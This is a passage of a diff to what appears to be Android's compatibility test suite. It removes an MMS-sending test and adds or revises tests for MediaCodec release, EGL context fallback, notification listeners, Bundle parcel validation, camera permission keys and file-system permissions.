- private boolean mSuccess;
- private boolean mDone;
- private final CountDownLatch mLatch;
- public SentReceiver() {
- mLatch = new CountDownLatch(1);
- mSuccess = false;
- mDone = false;
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.i(TAG, "Action " + intent.getAction());
- if (!ACTION_MMS_SENT.equals(intent.getAction())) {
- return;
- }
- final int resultCode = getResultCode();
- if (resultCode == Activity.RESULT_OK) {
- final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
- if (response != null) {
- final GenericPdu pdu = new PduParser(
- response, shouldParseContentDisposition()).parse();
- if (pdu != null && pdu instanceof SendConf) {
- final SendConf sendConf = (SendConf) pdu;
- if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
- mSuccess = true;
- } else {
- Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
- }
- } else {
- Log.e(TAG, "Not a SendConf: " +
- (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
- }
- } else {
- Log.e(TAG, "Empty response");
- }
- } else {
- Log.e(TAG, "Failure result=" + resultCode);
- if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
- final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
- Log.e(TAG, "HTTP failure=" + httpError);
- }
- }
- mDone = true;
- mLatch.countDown();
- }
-
- public boolean waitForSuccess(long timeoutMs) throws Exception {
- mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
- Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
- return mDone && mSuccess;
- }
- }
-
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -164,153 +75,11 @@
SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
}
- public void testSendMmsMessage() throws Exception {
- // this test is only for cts verifier
- if (!isCtsVerifierTest()) {
- return;
- }
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
- || !doesSupportMMS()) {
- Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
- return;
- }
-
- Log.i(TAG, "testSendMmsMessage");
- // Prime the MmsService so that MMS config is loaded
- final SmsManager smsManager = SmsManager.getDefault();
- // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
- try {
- Thread.sleep(MMS_CONFIG_DELAY_MILLIS);
- } catch (InterruptedException e) {
- // Ignore
- }
-
- final Context context = getContext();
- // Register sent receiver
- mSentReceiver = new SentReceiver();
- context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
- // Create local provider file for sending PDU
- final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
- final File sendFile = new File(context.getCacheDir(), fileName);
- final String selfNumber = getPhoneNumber(context);
- assertTrue(!TextUtils.isEmpty(selfNumber));
- final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MMS_MESSAGE_BODY);
- assertNotNull(pdu);
- assertTrue(writePdu(sendFile, pdu));
- final Uri contentUri = (new Uri.Builder())
- .authority(PROVIDER_AUTHORITY)
- .path(fileName)
- .scheme(ContentResolver.SCHEME_CONTENT)
- .build();
- // Send
- final PendingIntent pendingIntent = PendingIntent.getBroadcast(
- context, 0, new Intent(ACTION_MMS_SENT), 0);
- smsManager.sendMultimediaMessage(context,
- contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
- assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT_MILLIS));
- sendFile.delete();
- }
-
- private static boolean writePdu(File file, byte[] pdu) {
- FileOutputStream writer = null;
- try {
- writer = new FileOutputStream(file);
- writer.write(pdu);
- return true;
- } catch (final IOException e) {
- String stackTrace = Log.getStackTraceString(e);
- Log.i(TAG, stackTrace);
- return false;
- } finally {
- if (writer != null) {
- try {
- writer.close();
- } catch (IOException e) {
- }
- }
- }
- }
-
- private static byte[] buildPdu(Context context, String selfNumber, String subject,
- String text) {
- final SendReq req = new SendReq();
- // From, per spec
- req.setFrom(new EncodedStringValue(selfNumber));
- // To
- final String[] recipients = new String[1];
- recipients[0] = selfNumber;
- final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
- if (encodedNumbers != null) {
- req.setTo(encodedNumbers);
- }
- // Subject
- if (!TextUtils.isEmpty(subject)) {
- req.setSubject(new EncodedStringValue(subject));
- }
- // Date
- req.setDate(System.currentTimeMillis() / 1000);
- // Body
- final PduBody body = new PduBody();
- // Add text part. Always add a smil part for compatibility, without it there
- // may be issues on some carriers/client apps
- final int size = addTextPart(body, text, true/* add text smil */);
- req.setBody(body);
- // Message size
- req.setMessageSize(size);
- // Message class
- req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
- // Expiry
- req.setExpiry(DEFAULT_EXPIRY_TIME_SECS);
- // The following set methods throw InvalidHeaderValueException
- try {
- // Priority
- req.setPriority(DEFAULT_PRIORITY);
- // Delivery report
- req.setDeliveryReport(PduHeaders.VALUE_NO);
- // Read report
- req.setReadReport(PduHeaders.VALUE_NO);
- } catch (InvalidHeaderValueException e) {
- return null;
- }
-
- return new PduComposer(context, req).make();
- }
-
- private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
- final PduPart part = new PduPart();
- // Set Charset if it's a text media.
- part.setCharset(CharacterSets.UTF_8);
- // Set Content-Type.
- part.setContentType(ContentType.TEXT_PLAIN.getBytes());
- // Set Content-Location.
- part.setContentLocation(TEXT_PART_FILENAME.getBytes());
- int index = TEXT_PART_FILENAME.lastIndexOf(".");
- String contentId = (index == -1) ? TEXT_PART_FILENAME
- : TEXT_PART_FILENAME.substring(0, index);
- part.setContentId(contentId.getBytes());
- part.setData(message.getBytes());
- pb.addPart(part);
- if (addTextSmil) {
- final String smil = String.format(SMIL_TEXT, TEXT_PART_FILENAME);
- addSmilPart(pb, smil);
- }
- return part.getData().length;
- }
-
- private static void addSmilPart(PduBody pb, String smil) {
- final PduPart smilPart = new PduPart();
- smilPart.setContentId("smil".getBytes());
- smilPart.setContentLocation("smil.xml".getBytes());
- smilPart.setContentType(ContentType.APP_SMIL.getBytes());
- smilPart.setData(smil.getBytes());
- pb.addPart(0, smilPart);
- }
-
private static String getPhoneNumber(Context context) {
final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
Context.TELEPHONY_SERVICE);
String phoneNumber = telephonyManager.getLine1Number();
- if (phoneNumber.trim().isEmpty()) {
+ if (phoneNumber == null || phoneNumber.trim().isEmpty()) {
phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
}
return phoneNumber;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index a4e3a19..304f0d9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -33,6 +33,7 @@
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.CodecProfileLevel;
import android.opengl.GLES20;
+import android.os.ConditionVariable;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.PersistableBundle;
@@ -2059,4 +2060,44 @@
pcmStream1.close();
pcmStream2.close();
}
+
+ public void testAsyncRelease() throws Exception {
+ OutputSurface outputSurface = new OutputSurface(1, 1);
+ MediaExtractor mediaExtractor = getMediaExtractorForMimeType(INPUT_RESOURCE_ID, "video/");
+ MediaFormat mediaFormat =
+ mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
+ String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+ for (int i = 0; i < 100; ++i) {
+ final MediaCodec codec = MediaCodec.createDecoderByType(mimeType);
+
+ try {
+ codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+
+ codec.start();
+
+ final ConditionVariable cv = new ConditionVariable();
+ Thread[] threads = new Thread[10];
+ for (int j = 0; j < threads.length; ++j) {
+ threads[j] = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ cv.block();
+ codec.release();
+ }
+ });
+ }
+ for (Thread thread : threads) {
+ thread.start();
+ }
+ // Wait a little bit so that threads may reach block() call.
+ Thread.sleep(50);
+ cv.open();
+ for (Thread thread : threads) {
+ thread.join();
+ }
+ } finally {
+ codec.release();
+ }
+ }
+ }
}
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index a817ac1..dd57f82 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -703,32 +703,41 @@
mDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
eglInitialize(mDisplay, NULL, NULL);
+ // Try creating an OpenGL ES 3.x context and fall back to 2.x if that fails.
+ // Create two contexts for cross-context image sharing tests.
EGLConfig first_config;
- EGLint const config_attrib_list[] = {
+ EGLint config_attrib_list[] = {
EGL_RED_SIZE, 8,
EGL_GREEN_SIZE, 8,
EGL_BLUE_SIZE, 8,
EGL_ALPHA_SIZE, 8,
+ EGL_RENDERABLE_TYPE, EGL_OPENGL_ES3_BIT_KHR,
EGL_NONE
};
EGLint num_config = 0;
eglChooseConfig(mDisplay, config_attrib_list, &first_config, 1, &num_config);
- ASSERT_LT(0, num_config);
+ if (num_config == 0) {
+ // There are no configs with the ES 3.0 bit, fall back to ES 2.0.
+ config_attrib_list[8] = EGL_NONE;
+ config_attrib_list[9] = EGL_NONE;
+ eglChooseConfig(mDisplay, config_attrib_list, &first_config, 1, &num_config);
+ }
+ ASSERT_GT(num_config, 0);
- // Try creating an OpenGL ES 3.x context and fall back to 2.x if that fails.
- // Create two contexts for cross-context image sharing tests.
EGLint context_attrib_list[] = {
EGL_CONTEXT_CLIENT_VERSION, 3,
EGL_NONE
};
- mContext[0] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
+ // Try creating an ES 3.0 context, but don't bother if there were no ES 3.0 compatible configs.
+ if (config_attrib_list[9] != EGL_NONE) {
+ mContext[0] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
+ }
+ // If we don't have a context yet, fall back to ES 2.0.
if (mContext[0] == EGL_NO_CONTEXT) {
context_attrib_list[1] = 2;
mContext[0] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
- mContext[1] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
- } else {
- mContext[1] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
}
+ mContext[1] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
ASSERT_NE(EGL_NO_CONTEXT, mContext[0]);
ASSERT_NE(EGL_NO_CONTEXT, mContext[1]);
@@ -842,6 +851,18 @@
ALOGI("Test skipped: sRGB hardware buffers require EGL_EXT_image_gl_colorspace");
return false;
}
+ if (desc.usage & AHARDWAREBUFFER_USAGE_GPU_CUBE_MAP &&
+ !HasGLExtension("GL_EXT_EGL_image_storage")) {
+ ALOGI("Test skipped: cube map array hardware buffers require "
+ "GL_EXT_EGL_image_storage");
+ return false;
+ }
+ if (desc.usage & AHARDWAREBUFFER_USAGE_GPU_MIPMAP_COMPLETE &&
+ !HasGLExtension("GL_EXT_EGL_image_storage")) {
+ ALOGI("Test skipped: mipmapped hardware buffers require "
+ "GL_EXT_EGL_image_storage");
+ return false;
+ }
int result = AHardwareBuffer_allocate(&desc, &mBuffer);
// Skip if this format cannot be allocated.
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index dd96eac..611cbfb 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -23,7 +23,16 @@
<application>
<uses-library android:name="android.test.runner" />
- <service android:name="android.app.notification.legacy.cts.MockNotificationListener"
+ <service android:name="android.app.notification.legacy.cts.TestNotificationListener"
+ android:exported="true"
+ android:label="TestNotificationListener"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+
+ <service android:name="android.app.notification.legacy.cts.SecondaryNotificationListener"
android:exported="true"
android:label="MockNotificationListener"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
index 6626d95..86b1ba0 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -214,6 +214,32 @@
}
}
+ @Test
+ public void testRequestRebindWhenStillHasAccess() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure it gets bound
+ pollForConnection(LegacyConditionProviderService.class, true);
+
+ // request unbind
+ LegacyConditionProviderService.getInstance().requestUnbind();
+
+ // make sure it unbinds
+ pollForConnection(LegacyConditionProviderService.class, false);
+
+ // try to rebind
+ LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+
+ // make sure it did rebind
+ try {
+ pollForConnection(LegacyConditionProviderService.class, true);
+ } catch (Exception e) {
+ fail("Service should've been able to rebind");
+ }
+ }
+
private void addRule(ComponentName cn, int filter, boolean enabled) {
String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
cn, Uri.EMPTY, filter, enabled));
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 528d66f..ae17ebd 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -16,7 +16,6 @@
package android.app.notification.legacy.cts;
-import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_AMBIENT;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_FULL_SCREEN_INTENT;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_LIGHTS;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_NOTIFICATION_LIST;
@@ -27,6 +26,8 @@
import static junit.framework.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
import android.app.ActivityManager;
import android.app.Instrumentation;
import android.app.Notification;
@@ -42,7 +43,6 @@
import android.service.notification.NotificationListenerService;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
import junit.framework.Assert;
@@ -66,12 +66,16 @@
private NotificationManager mNotificationManager;
private ActivityManager mActivityManager;
private Context mContext;
- private MockNotificationListener mListener;
+
+ private SecondaryNotificationListener mSecondaryListener;
+ private TestNotificationListener mListener;
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getContext();
- toggleListenerAccess(MockNotificationListener.getId(),
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), false);
+ toggleListenerAccess(SecondaryNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), false);
mNotificationManager = (NotificationManager) mContext.getSystemService(
Context.NOTIFICATION_SERVICE);
@@ -82,8 +86,13 @@
@After
public void tearDown() throws Exception {
- toggleListenerAccess(MockNotificationListener.getId(),
+ toggleListenerAccess(TestNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), false);
+ toggleListenerAccess(SecondaryNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), false);
+ Thread.sleep(500); // wait for listener to disconnect
+ assertTrue(mListener == null || !mListener.isConnected);
+ assertTrue(mSecondaryListener == null || !mSecondaryListener.isConnected);
}
@Test
@@ -177,11 +186,11 @@
@Test
public void testSuspendPackage() throws Exception {
- toggleListenerAccess(MockNotificationListener.getId(),
+ toggleListenerAccess(TestNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), true);
Thread.sleep(500); // wait for listener to be allowed
- mListener = MockNotificationListener.getInstance();
+ mListener = TestNotificationListener.getInstance();
Assert.assertNotNull(mListener);
sendNotification(1, R.drawable.icon_black);
@@ -201,13 +210,89 @@
Thread.sleep(500); // wait for notification listener to get response
assertEquals(1, mListener.mPosted.size());
- toggleListenerAccess(MockNotificationListener.getId(),
+ toggleListenerAccess(TestNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), false);
mListener.resetData();
}
@Test
+ public void testSuspendedPackageSendNotification() throws Exception {
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ Assert.assertNotNull(mListener);
+
+ // suspend package
+ suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+ true);
+ Thread.sleep(500); // wait for notification listener to get response
+
+ sendNotification(1, R.drawable.icon_black);
+ Thread.sleep(500); // wait for notification listener in case it receives notification
+ assertEquals(0, mListener.mPosted.size()); // shouldn't see any notifications posted
+
+ // unsuspend package, listener should receive onPosted
+ suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+ false);
+ Thread.sleep(500); // wait for notification listener to get response
+ assertEquals(1, mListener.mPosted.size());
+
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), false);
+
+ mListener.resetData();
+ }
+
+ @Test
+ public void testResetListenerHints_singleListener() throws Exception {
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ Assert.assertNotNull(mListener);
+
+ mListener.requestListenerHints(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS);
+
+ assertEquals(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS,
+ mListener.getCurrentListenerHints());
+
+ mListener.clearRequestedListenerHints();
+
+ assertEquals(0, mListener.getCurrentListenerHints());
+ }
+
+ @Test
+ public void testResetListenerHints_multiListener() throws Exception {
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ toggleListenerAccess(SecondaryNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ mSecondaryListener = SecondaryNotificationListener.getInstance();
+ Assert.assertNotNull(mListener);
+ Assert.assertNotNull(mSecondaryListener);
+
+ mListener.requestListenerHints(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS);
+ mSecondaryListener.requestListenerHints(
+ NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS
+ | NotificationListenerService.HINT_HOST_DISABLE_NOTIFICATION_EFFECTS);
+
+ assertEquals(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS
+ | NotificationListenerService.HINT_HOST_DISABLE_NOTIFICATION_EFFECTS,
+ mListener.getCurrentListenerHints());
+
+ mSecondaryListener.clearRequestedListenerHints();
+ assertEquals(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS,
+ mSecondaryListener.getCurrentListenerHints());
+ }
+
+ @Test
public void testSetNotificationPolicy_preP_setOldNewFields() throws Exception {
if (mActivityManager.isLowRamDevice()) {
return;
@@ -270,8 +355,8 @@
private void suspendPackage(String packageName,
Instrumentation instrumentation, boolean suspend) throws IOException {
- String command = " cmd notification " + (suspend ? "suspend_package "
- : "unsuspend_package ") + packageName;
+ String command = " cmd package " + (suspend ? "suspend "
+ : "unsuspend ") + packageName;
runCommand(command, instrumentation);
}
@@ -285,7 +370,7 @@
runCommand(command, instrumentation);
final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
- final ComponentName listenerComponent = MockNotificationListener.getComponentName();
+ final ComponentName listenerComponent = TestNotificationListener.getComponentName();
Assert.assertTrue(listenerComponent + " has not been granted access",
nm.isNotificationListenerAccessGranted(listenerComponent) == on);
}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
similarity index 80%
copy from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
copy to tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
index 5a4359e..8db875b 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
@@ -18,12 +18,11 @@
import android.content.ComponentName;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
-import android.util.Log;
import java.util.ArrayList;
-public class MockNotificationListener extends NotificationListenerService {
- public static final String TAG = "TestNotificationListener";
+public class SecondaryNotificationListener extends NotificationListenerService {
+ public static final String TAG = "SecondaryNLS";
public static final String PKG = "android.app.notification.legacy.cts";
private ArrayList<String> mTestPackages = new ArrayList<>();
@@ -32,17 +31,17 @@
public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
public RankingMap mRankingMap;
- private static MockNotificationListener sNotificationListenerInstance = null;
+ private static SecondaryNotificationListener sNotificationListenerInstance = null;
boolean isConnected;
public static String getId() {
- return String.format("%s/%s", MockNotificationListener.class.getPackage().getName(),
- MockNotificationListener.class.getName());
+ return String.format("%s/%s", SecondaryNotificationListener.class.getPackage().getName(),
+ SecondaryNotificationListener.class.getName());
}
public static ComponentName getComponentName() {
- return new ComponentName(MockNotificationListener.class.getPackage().getName(),
- MockNotificationListener.class.getName());
+ return new ComponentName(SecondaryNotificationListener.class.getPackage().getName(),
+ SecondaryNotificationListener.class.getName());
}
@Override
@@ -63,7 +62,7 @@
isConnected = false;
}
- public static MockNotificationListener getInstance() {
+ public static SecondaryNotificationListener getInstance() {
return sNotificationListenerInstance;
}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
similarity index 83%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
rename to tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
index 5a4359e..c174d81 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
@@ -22,7 +22,7 @@
import java.util.ArrayList;
-public class MockNotificationListener extends NotificationListenerService {
+public class TestNotificationListener extends NotificationListenerService {
public static final String TAG = "TestNotificationListener";
public static final String PKG = "android.app.notification.legacy.cts";
@@ -32,17 +32,17 @@
public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
public RankingMap mRankingMap;
- private static MockNotificationListener sNotificationListenerInstance = null;
+ private static TestNotificationListener sNotificationListenerInstance = null;
boolean isConnected;
public static String getId() {
- return String.format("%s/%s", MockNotificationListener.class.getPackage().getName(),
- MockNotificationListener.class.getName());
+ return String.format("%s/%s", TestNotificationListener.class.getPackage().getName(),
+ TestNotificationListener.class.getName());
}
public static ComponentName getComponentName() {
- return new ComponentName(MockNotificationListener.class.getPackage().getName(),
- MockNotificationListener.class.getName());
+ return new ComponentName(TestNotificationListener.class.getPackage().getName(),
+ TestNotificationListener.class.getName());
}
@Override
@@ -63,7 +63,7 @@
isConnected = false;
}
- public static MockNotificationListener getInstance() {
+ public static TestNotificationListener getInstance() {
return sNotificationListenerInstance;
}
@@ -75,12 +75,14 @@
@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+ mRankingMap = rankingMap;
mPosted.add(sbn);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap) {
if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+ mRankingMap = rankingMap;
mRemoved.add(sbn);
}
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index 58d6e37..ca70fe3 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -902,6 +902,29 @@
}
}
+ public void testBundleLengthNotAlignedByFour() {
+ mBundle.putBoolean(KEY, true);
+ assertEquals(1, mBundle.size());
+ Parcel p = Parcel.obtain();
+ final int lengthPos = p.dataPosition();
+ mBundle.writeToParcel(p, 0);
+ p.setDataPosition(lengthPos);
+ final int length = p.readInt();
+ assertTrue(length != 0);
+ assertTrue(length % 4 == 0);
+ // Corrupt the bundle length so it is not aligned by 4.
+ p.setDataPosition(lengthPos);
+ p.writeInt(length - 1);
+ p.setDataPosition(0);
+ final Bundle b = new Bundle();
+ try {
+ b.readFromParcel(p);
+ fail("Failed to get an IllegalStateException");
+ } catch (IllegalStateException e) {
+ // Expect IllegalStateException here.
+ }
+ }
+
/** Create a Bundle with values, with autogenerated keys. */
private static Bundle buildBundle(Object... values) {
final Bundle result = new Bundle();
diff --git a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
index e40d7cb..4076ace 100644
--- a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
@@ -21,12 +21,16 @@
import android.content.Context;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCharacteristics.Key;
import android.os.Handler;
import android.os.HandlerThread;
import android.platform.test.annotations.Presubmit;
import android.test.AndroidTestCase;
import android.util.Log;
+import java.util.List;
+
import com.android.ex.camera2.blocking.BlockingCameraManager;
import com.android.ex.camera2.blocking.BlockingStateCallback;
@@ -95,6 +99,29 @@
}
/**
+ * Check the absence of camera characteristics keys that require Permission:
+ * {@link android.Manifest.permission#CAMERA}.
+ */
+ public void testCameraCharacteristicsNeedingPermission() throws Exception {
+ for (String id : mCameraIds) {
+ CameraCharacteristics capabilities = mCameraManager.getCameraCharacteristics(id);
+ assertNotNull("Camera characteristics shouldn't be null", capabilities);
+ List<Key<?>> keysNeedingPermission = capabilities.getKeysNeedingPermission();
+ if (keysNeedingPermission == null) {
+ continue;
+ }
+ List<Key<?>> keys = capabilities.getKeys();
+ assertNotNull("Camera characteristics key list shouldn't be null", keys);
+ for (Key<?> key : keysNeedingPermission) {
+ assertEquals("Key " + key.getName() + " needing permission is part of the" +
+ " available characteristics keys", -1, keys.indexOf(key));
+ assertNull("Key " + key.getName() + " needing permission must not present" +
+ " in camera characteristics", capabilities.get(key));
+ }
+ }
+ }
+
+ /**
* Add and remove availability listeners should work without permission.
*/
@Presubmit
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index d417a9a..5203705 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -461,11 +461,10 @@
}
@MediumTest
- @AppModeFull(reason = "Instant Apps cannot access proc_net labeled files")
@Test
public void testTcpDefaultRwndSane() throws Exception {
File f = new File("/proc/sys/net/ipv4/tcp_default_init_rwnd");
- assertTrue(f.canRead());
+ assertFalse(f.canRead());
assertFalse(f.canWrite());
assertFalse(f.canExecute());
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 1de22dc..9351333 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -3658,9 +3658,13 @@
<permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
android:protectionLevel="signature" />
- <!-- Allows managing (adding, removing) facial templates. Reserved for the system. @hide -->
- <permission android:name="android.permission.MANAGE_FACE"
- android:protectionLevel="signature|privileged" />
+ <!-- Allows direct access to the <Biometric>Service interfaces. Reserved for the system. @hide -->
+ <permission android:name="android.permission.MANAGE_BIOMETRIC"
+ android:protectionLevel="signature" />
+
+ <!-- Allows direct access to the <Biometric>Service authentication methods. Reserved for the system. @hide -->
+ <permission android:name="android.permission.USE_BIOMETRIC_INTERNAL"
+ android:protectionLevel="signature" />
<!-- Allows an app to reset face authentication attempt counter. Reserved for the system. @hide -->
<permission android:name="android.permission.RESET_FACE_LOCKOUT"
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 2f155d8..4dc3226 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -69,7 +69,7 @@
"android.net.conn.TETHER_STATE_CHANGED",
"android.net.conn.INET_CONDITION_ACTION",
"android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
- "com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
+ "com.android.server.inputmethod.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
};
private static final String BROADCASTS_TELEPHONY[] = new String[] {
